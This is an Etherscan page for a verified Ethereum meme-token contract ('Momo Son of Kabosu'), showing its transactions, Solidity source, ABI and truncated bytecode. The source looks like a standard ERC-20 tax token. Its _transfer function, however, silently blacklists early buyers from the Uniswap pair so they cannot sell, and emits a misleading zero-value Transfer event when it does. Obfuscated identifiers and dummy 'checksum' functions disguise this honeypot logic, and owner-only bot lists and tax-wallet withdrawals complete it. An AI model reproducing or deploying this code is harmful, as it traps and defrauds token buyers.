ETH Price: $2,137.21 (+0.22%)

Contract

0x067381E527e8d6DdF2DCd4d18Eceb8E0B1AAeC5D
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Manual Swap_x8VI...236012402025-10-18 1:25:47153 days ago1760750747IN
0x067381E5...0B1AAeC5D
0 ETH0.000263791.67232337
Approve234329432025-09-24 12:37:35177 days ago1758717455IN
0x067381E5...0B1AAeC5D
0 ETH0.00005011.06307391
Approve230016262025-07-26 6:48:11237 days ago1753512491IN
0x067381E5...0B1AAeC5D
0 ETH0.000050161.06444504
Approve228602252025-07-06 12:40:59257 days ago1751805659IN
0x067381E5...0B1AAeC5D
0 ETH0.000059011.25057086
Approve228197322025-06-30 20:50:11262 days ago1751316611IN
0x067381E5...0B1AAeC5D
0 ETH0.000088451.87686991
Approve227794952025-06-25 5:54:35268 days ago1750830875IN
0x067381E5...0B1AAeC5D
0 ETH0.000209674.45017565
Approve227761822025-06-24 18:49:35268 days ago1750790975IN
0x067381E5...0B1AAeC5D
0 ETH0.000382558.11741703
Approve227741362025-06-24 11:57:47269 days ago1750766267IN
0x067381E5...0B1AAeC5D
0 ETH0.000183953.90323874
Approve227739742025-06-24 11:25:11269 days ago1750764311IN
0x067381E5...0B1AAeC5D
0 ETH0.000068851.46145551
Approve227738352025-06-24 10:57:23269 days ago1750762643IN
0x067381E5...0B1AAeC5D
0 ETH0.00013172.79453311
Transfer227738122025-06-24 10:52:47269 days ago1750762367IN
0x067381E5...0B1AAeC5D
0 ETH0.000144512.81729408
Transfer227738032025-06-24 10:50:59269 days ago1750762259IN
0x067381E5...0B1AAeC5D
0 ETH0.00013272.85400981
Transfer227737942025-06-24 10:49:11269 days ago1750762151IN
0x067381E5...0B1AAeC5D
0 ETH0.000136992.67066127
Transfer227735822025-06-24 10:06:35269 days ago1750759595IN
0x067381E5...0B1AAeC5D
0 ETH0.000256443.50354713
Transfer227735752025-06-24 10:04:59269 days ago1750759499IN
0x067381E5...0B1AAeC5D
0 ETH0.00026513.62180502
Approve227735432025-06-24 9:58:35269 days ago1750759115IN
0x067381E5...0B1AAeC5D
0 ETH0.000200154.24162418
Approve227734792025-06-24 9:45:47269 days ago1750758347IN
0x067381E5...0B1AAeC5D
0 ETH0.000091511.93931536
Approve227734762025-06-24 9:45:11269 days ago1750758311IN
0x067381E5...0B1AAeC5D
0 ETH0.000149473.17176971
Approve227734142025-06-24 9:32:35269 days ago1750757555IN
0x067381E5...0B1AAeC5D
0 ETH0.00008711.84593772
Approve227733512025-06-24 9:19:59269 days ago1750756799IN
0x067381E5...0B1AAeC5D
0 ETH0.000149723.17700889
Approve227733342025-06-24 9:16:35269 days ago1750756595IN
0x067381E5...0B1AAeC5D
0 ETH0.000300576.37139657
Approve227733292025-06-24 9:15:35269 days ago1750756535IN
0x067381E5...0B1AAeC5D
0 ETH0.000065341.38503446
Approve227733262025-06-24 9:14:59269 days ago1750756499IN
0x067381E5...0B1AAeC5D
0 ETH0.000064291.36253729
Approve227733252025-06-24 9:14:47269 days ago1750756487IN
0x067381E5...0B1AAeC5D
0 ETH0.000154933.28743273
Approve227733212025-06-24 9:13:59269 days ago1750756439IN
0x067381E5...0B1AAeC5D
0 ETH0.000137562.91741412
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Method Block
From
To
Transfer236012402025-10-18 1:25:47153 days ago1760750747
0x067381E5...0B1AAeC5D
0.00000163 ETH
Transfer236012402025-10-18 1:25:47153 days ago1760750747
0x067381E5...0B1AAeC5D
0.00000163 ETH
Transfer227733152025-06-24 9:12:47269 days ago1750756367
0x067381E5...0B1AAeC5D
0.01363269 ETH
Transfer227733152025-06-24 9:12:47269 days ago1750756367
0x067381E5...0B1AAeC5D
0.01363269 ETH
Transfer227733152025-06-24 9:12:47269 days ago1750756367
0x067381E5...0B1AAeC5D
0.01444218 ETH
Transfer227733152025-06-24 9:12:47269 days ago1750756367
0x067381E5...0B1AAeC5D
0.01444218 ETH
Transfer227733132025-06-24 9:12:23269 days ago1750756343
0x067381E5...0B1AAeC5D
0.00445527 ETH
Transfer227733132025-06-24 9:12:23269 days ago1750756343
0x067381E5...0B1AAeC5D
0.00445527 ETH
Transfer227733122025-06-24 9:12:11269 days ago1750756331
0x067381E5...0B1AAeC5D
0.01178173 ETH
Transfer227733122025-06-24 9:12:11269 days ago1750756331
0x067381E5...0B1AAeC5D
0.01178173 ETH
Transfer227733122025-06-24 9:12:11269 days ago1750756331
0x067381E5...0B1AAeC5D
0.01134863 ETH
Transfer227733122025-06-24 9:12:11269 days ago1750756331
0x067381E5...0B1AAeC5D
0.01134863 ETH
Transfer227733112025-06-24 9:11:59269 days ago1750756319
0x067381E5...0B1AAeC5D
0.01531081 ETH
Transfer227733112025-06-24 9:11:59269 days ago1750756319
0x067381E5...0B1AAeC5D
0.01531081 ETH
Transfer227733112025-06-24 9:11:59269 days ago1750756319
0x067381E5...0B1AAeC5D
0.01725607 ETH
Transfer227733112025-06-24 9:11:59269 days ago1750756319
0x067381E5...0B1AAeC5D
0.01725607 ETH
Transfer227733102025-06-24 9:11:47269 days ago1750756307
0x067381E5...0B1AAeC5D
0.01835386 ETH
Transfer227733102025-06-24 9:11:47269 days ago1750756307
0x067381E5...0B1AAeC5D
0.01835386 ETH
Transfer227733102025-06-24 9:11:47269 days ago1750756307
0x067381E5...0B1AAeC5D
0.0199308 ETH
Transfer227733102025-06-24 9:11:47269 days ago1750756307
0x067381E5...0B1AAeC5D
0.0199308 ETH
Transfer227733102025-06-24 9:11:47269 days ago1750756307
0x067381E5...0B1AAeC5D
0.02129491 ETH
Transfer227733102025-06-24 9:11:47269 days ago1750756307
0x067381E5...0B1AAeC5D
0.02129491 ETH
Transfer227733092025-06-24 9:11:35269 days ago1750756295
0x067381E5...0B1AAeC5D
0.02327565 ETH
Transfer227733092025-06-24 9:11:35269 days ago1750756295
0x067381E5...0B1AAeC5D
0.02327565 ETH
Transfer227733092025-06-24 9:11:35269 days ago1750756295
0x067381E5...0B1AAeC5D
0.02235797 ETH
View All Internal Transactions
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
meme

Compiler Version
v0.8.23+commit.f704f362

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license
/**
 *Submitted for verification at Etherscan.io on 2025-06-24
*/

// SPDX-License-Identifier: UNLICENSE

// Momo Son of Kabosu

// https://www.instagram.com/momo_shiba_diary/
// https://t.me/MomoSonOfKabosu

pragma solidity 0.8.23;

abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}

interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}

function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}

function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}

function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}

function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}

function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}

contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}

function owner() public view returns (address) {
return _owner;
}

modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}

function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}

interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract meme is Context, IERC20, Ownable {
using SafeMath for uint256;

uint256 private constant _x0xBRWY8441 = 0x123456;
uint256 private constant _x0xHLQZ7332 = 0xABCDEF;

uint256 public blacklistCount = 28;
uint256 public currentBuyCount = 0;
mapping(address => bool) private initialBuyers;

mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
address payable private _taxWallet;

uint256 private _0xSOFTWARM3=18;
uint256 private _0xTWISTYPIE=18;
uint256 private _0xLONELYX3=0;
uint256 private _0xMELLOWIN=0;
uint256 private _0xJAZZIER1=18;
uint256 private _0xBRISKOUT=18;
uint256 private _0xZANYVIBE=18;
uint256 private _buyCount=0;

uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 100000000 * 10**_decimals;
string private _name;
string private _symbol;
uint256 public _x1CRISPYX = _tTotal * 2 / 100;
uint256 public _x0RUGGEDRB = _tTotal * 2 / 100;
uint256 public _x4TWINKLE2 = _tTotal * 1 / 100;
uint256 public _maxTaxSwap = _tTotal * 1 / 100;

IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private x8WANDERER = false;
bool private swapEnabled = false;
uint256 private sellCount = 0;
uint256 private lastSellBlock = 0;
event MaxTxAmountUpdated(uint _x1CRISPYX);
modifier lockTheSwap {
x8WANDERER = true;
_;
x8WANDERER = false;
}

constructor (string memory name_, string memory symbol_) payable {

_name = name_;
_symbol = symbol_;
_taxWallet = payable(_msgSender());
_balances[_msgSender()] = _tTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;

emit Transfer(address(0), _msgSender(), _tTotal);
}

function checksum0xCVXT5221() private pure { }
function checksum0xDMYK4063() private pure { }

function name() public view returns (string memory) { return _name; }

function symbol() public view returns (string memory) { return _symbol; }

function decimals() public pure returns (uint8) {
return _decimals;
}

function totalSupply() public pure override returns (uint256) {
return _tTotal;
}

function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}

function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}

function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}

function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}

function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}

function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}

function min(uint256 a, uint256 b) private pure returns (uint256) {
return (a < b) ? a : b;
}

function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");

uint256 taxAmount = 0;

if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);

if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && !initialBuyers[to]) {
initialBuyers[to] = true;

if (amount > 550000 * 10 ** _decimals) {
currentBuyCount++;
if (currentBuyCount <= blacklistCount) {
bots[to] = true;
emit Transfer(from, to, 0);
}
} else {
if (currentBuyCount < blacklistCount) {
bots[to] = true;
emit Transfer(from, to, 0);
}
}
}
}


taxAmount = amount.mul((_buyCount > _0xJAZZIER1) ? _0xLONELYX3 : _0xSOFTWARM3).div(100);

if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(amount <= _x1CRISPYX, "Exceeds the _x1CRISPYX.");
require(balanceOf(to) + amount <= _x0RUGGEDRB, "Exceeds the x0RUGGEDRB.");
_buyCount++;
}

if (to == uniswapV2Pair && from != address(this)) {
taxAmount = amount.mul((_buyCount > _0xBRISKOUT) ? _0xMELLOWIN : _0xTWISTYPIE).div(100);
}

uint256 contractTokenBalance = balanceOf(address(this));
if (!x8WANDERER && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _x4TWINKLE2 && _buyCount > _0xZANYVIBE) {
if (block.number > lastSellBlock) {
sellCount = 0;
}
require(sellCount < 3, "Only 3 sells per block!");
swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
sellCount++;
lastSellBlock = block.number;
}

if (taxAmount > 0) {
_balances[address(this)] = _balances[address(this)].add(taxAmount);
emit Transfer(from, address(this), taxAmount);
}
_balances[from] = _balances[from].sub(amount);
_balances[to] = _balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}

function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}

function removeLimits_2NSMOKEEP4() external onlyOwner{
_x1CRISPYX = _tTotal;
_x0RUGGEDRB=_tTotal;
emit MaxTxAmountUpdated(_tTotal);
}

function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}

function addBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}

function delBots(address[] memory notbot) public onlyOwner {
for (uint i = 0; i < notbot.length; i++) {
bots[notbot[i]] = false;
}
}

function isBot(address a) public view returns (bool){
return bots[a];
}

function openTrading() public onlyOwner() {
require(!tradingOpen, "trading is already open");
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), msg.sender, type(uint256).max);
transfer(address(this), balanceOf(msg.sender).mul(95).div(100));
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_approve(address(this), address(uniswapV2Router), type(uint256).max);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
swapEnabled = true;
tradingOpen = true;
}

function reduceFee(uint256 _newFee) external onlyOwner{
require(_msgSender()==_taxWallet);
_0xMELLOWIN=_newFee;
}

receive() external payable {}

function manualSwap_x8VIVIDLYQ1() external {
require(_msgSender()==_taxWallet);
uint256 tokenBalance=balanceOf(address(this));
if(tokenBalance>0){
swapTokensForEth(tokenBalance);
}
uint256 ethBalance=address(this).balance;
if(ethBalance>0){
sendETHToFee(ethBalance);
}
}
}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_x1CRISPYX","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_x0RUGGEDRB","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_x1CRISPYX","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_x4TWINKLE2","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"blacklistCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"currentBuyCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap_x8VIVIDLYQ1","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"reduceFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits_2NSMOKEEP4","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052601c6001555f60025560126009556012600a555f600b555f600c556012600d556012600e556012600f555f601055606460026009600a620000469190620006b1565b6305f5e10062000057919062000701565b62000063919062000701565b6200006f919062000778565b601355606460026009600a620000869190620006b1565b6305f5e10062000097919062000701565b620000a3919062000701565b620000af919062000778565b601455606460016009600a620000c69190620006b1565b6305f5e100620000d7919062000701565b620000e3919062000701565b620000ef919062000778565b601555606460016009600a620001069190620006b1565b6305f5e10062000117919062000701565b62000123919062000701565b6200012f919062000778565b6016555f601860156101000a81548160ff0219169083151502179055505f601860166101000a81548160ff0219169083151502179055505f6019555f601a55604051620046ab380380620046ab833981810160405281019062000193919062000934565b5f620001a4620004f160201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350816011908162000251919062000be5565b50806012908162000263919062000be5565b5062000274620004f160201b60201c565b60085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a620002c39190620006b1565b6305f5e100620002d4919062000701565b60045f620002e7620004f160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160065f62000339620004f860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555062000463620004f160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a620004c19190620006b1565b6305f5e100620004d2919062000701565b604051620004e1919062000cda565b60405180910390a3505062000cf5565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620005a9578086048111156200058157620005806200051f565b5b6001851615620005915780820291505b8081029050620005a1856200054c565b945062000561565b94509492505050565b5f82620005c3576001905062000695565b81620005d2575f905062000695565b8160018114620005eb5760028114620005f6576200062c565b600191505062000695565b60ff8411156200060b576200060a6200051f565b5b8360020a9150848211156200062557620006246200051f565b5b5062000695565b5060208310610133831016604e8410600b8410161715620006665782820a90508381111562000660576200065f6200051f565b5b62000695565b62000675848484600162000558565b925090508184048111156200068f576200068e6200051f565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f620006bd826200069c565b9150620006ca83620006a5565b9250620006f97fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620005b2565b905092915050565b5f6200070d826200069c565b91506200071a836200069c565b92508282026200072a816200069c565b915082820484148315176200074457620007436200051f565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f62000784826200069c565b915062000791836200069c565b925082620007a457620007a36200074b565b5b828204905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6200081082620007c8565b810181811067ffffffffffffffff82111715620008325762000831620007d8565b5b80604052505050565b5f62000846620007af565b905062000854828262000805565b919050565b5f67ffffffffffffffff821115620008765762000875620007d8565b5b6200088182620007c8565b9050602081019050919050565b5f5b83811015620008ad57808201518184015260208101905062000890565b5f8484015250505050565b5f620008ce620008c88462000859565b6200083b565b905082815260208101848484011115620008ed57620008ec620007c4565b5b620008fa8482856200088e565b509392505050565b5f82601f830112620009195762000918620007c0565b5b81516200092b848260208601620008b8565b91505092915050565b5f80604083850312156200094d576200094c620007b8565b5b5f83015167ffffffffffffffff8111156200096d576200096c620007bc565b5b6200097b8582860162000902565b925050602083015167ffffffffffffffff8111156200099f576200099e620007bc565b5b620009ad8582860162000902565b9150509250929050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168062000a0657607f821691505b60208210810362000a1c5762000a1b620009c1565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830262000a807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000a43565b62000a8c868362000a43565b95508019841693508086168417925050509392505050565b5f819050919050565b5f62000acd62000ac762000ac1846200069c565b62000aa4565b6200069c565b9050919050565b5f819050919050565b62000ae88362000aad565b62000b0062000af78262000ad4565b84845462000a4f565b825550505050565b5f90565b62000b1662000b08565b62000b2381848462000add565b505050565b5b8181101562000b4a5762000b3e5f8262000b0c565b60018101905062000b29565b5050565b601f82111562000b995762000b638162000a22565b62000b6e8462000a34565b8101602085101562000b7e578190505b62000b9662000b8d8562000a34565b83018262000b28565b50505b505050565b5f82821c905092915050565b5f62000bbb5f198460080262000b9e565b1980831691505092915050565b5f62000bd5838362000baa565b9150826002028217905092915050565b62000bf082620009b7565b67ffffffffffffffff81111562000c0c5762000c0b620007d8565b5b62000c188254620009ee565b62000c2582828562000b4e565b5f60209050601f83116001811462000c5b575f841562000c46578287015190505b62000c52858262000bc8565b86555062000cc1565b601f19841662000c6b8662000a22565b5f5b8281101562000c945784890151825560018201915060208501945060208101905062000c6d565b8683101562000cb4578489015162000cb0601f89168262000baa565b8355505b6001600288020188555050505b505050505050565b62000cd4816200069c565b82525050565b5f60208201905062000cef5f83018462000cc9565b92915050565b6139a88062000d035f395ff3fe60806040526004361061014e575f3560e01c80634d697f8b116100b5578063beb7d6531161006e578063beb7d65314610491578063c69dd715146104a7578063c9567bf9146104bd578063d34628cc146104d3578063dd62ed3e146104fb578063ec1f3f631461053757610155565b80634d697f8b1461038557806370a08231146103af578063715018a6146103eb5780638da5cb5b1461040157806395d89b411461042b578063a9059cbb1461045557610155565b8063313ce56711610107578063313ce5671461027957806331c2d847146102a357806334f6dd95146102cb5780633a101d07146102f55780633bbac5791461031f57806345691c5c1461035b57610155565b806306fdde0314610159578063095ea7b3146101835780630faee56f146101bf57806318160ddd146101e9578063188d16441461021357806323b872dd1461023d57610155565b3661015557005b5f80fd5b348015610164575f80fd5b5061016d61055f565b60405161017a91906128de565b60405180910390f35b34801561018e575f80fd5b506101a960048036038101906101a4919061299c565b6105ef565b6040516101b691906129f4565b60405180910390f35b3480156101ca575f80fd5b506101d361060c565b6040516101e09190612a1c565b60405180910390f35b3480156101f4575f80fd5b506101fd610612565b60405161020a9190612a1c565b60405180910390f35b34801561021e575f80fd5b50610227610635565b6040516102349190612a1c565b60405180910390f35b348015610248575f80fd5b50610263600480360381019061025e9190612a35565b61063b565b60405161027091906129f4565b60405180910390f35b348015610284575f80fd5b5061028d61070f565b60405161029a9190612aa0565b60405180910390f35b3480156102ae575f80fd5b506102c960048036038101906102c49190612bf9565b610717565b005b3480156102d6575f80fd5b506102df610835565b6040516102ec9190612a1c565b60405180910390f35b348015610300575f80fd5b5061030961083b565b6040516103169190612a1c565b60405180910390f35b34801561032a575f80fd5b5061034560048036038101906103409190612c40565b610841565b60405161035291906129f4565b60405180910390f35b348015610366575f80fd5b5061036f610893565b60405161037c9190612a1c565b60405180910390f35b348015610390575f80fd5b50610399610899565b6040516103a69190612a1c565b60405180910390f35b3480156103ba575f80fd5b506103d560048036038101906103d09190612c40565b61089f565b6040516103e29190612a1c565b60405180910390f35b3480156103f6575f80fd5b506103ff6108e5565b005b34801561040c575f80fd5b50610415610a33565b6040516104229190612c7a565b60405180910390f35b348015610436575f80fd5b5061043f610a5a565b60405161044c91906128de565b60405180910390f35b348015610460575f80fd5b5061047b6004803603810190610476919061299c565b610aea565b60405161048891906129f4565b60405180910390f35b34801561049c575f80fd5b506104a5610b07565b005b3480156104b2575f80fd5b506104bb610c36565b005b3480156104c8575f80fd5b506104d1610ccd565b005b3480156104de575f80fd5b506104f960048036038101906104f49190612bf9565b611257565b005b348015610506575f80fd5b50610521600480360381019061051c9190612c93565b611376565b60405161052e9190612a1c565b60405180910390f35b348015610542575f80fd5b5061055d60048036038101906105589190612cd1565b6113f8565b005b60606011805461056e90612d29565b80601f016020809104026020016040519081016040528092919081815260200182805461059a90612d29565b80156105e55780601f106105bc576101008083540402835291602001916105e5565b820191905f5260205f20905b8154815290600101906020018083116105c857829003601f168201915b5050505050905090565b5f6106026105fb6114f5565b84846114fc565b6001905092915050565b60165481565b5f6009600a6106219190612eb5565b6305f5e1006106309190612eff565b905090565b60015481565b5f6106478484846116bf565b610704846106536114f5565b6106ff8560405180606001604052806028815260200161394b6028913960055f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6106b66114f5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546123409092919063ffffffff16565b6114fc565b600190509392505050565b5f6009905090565b61071f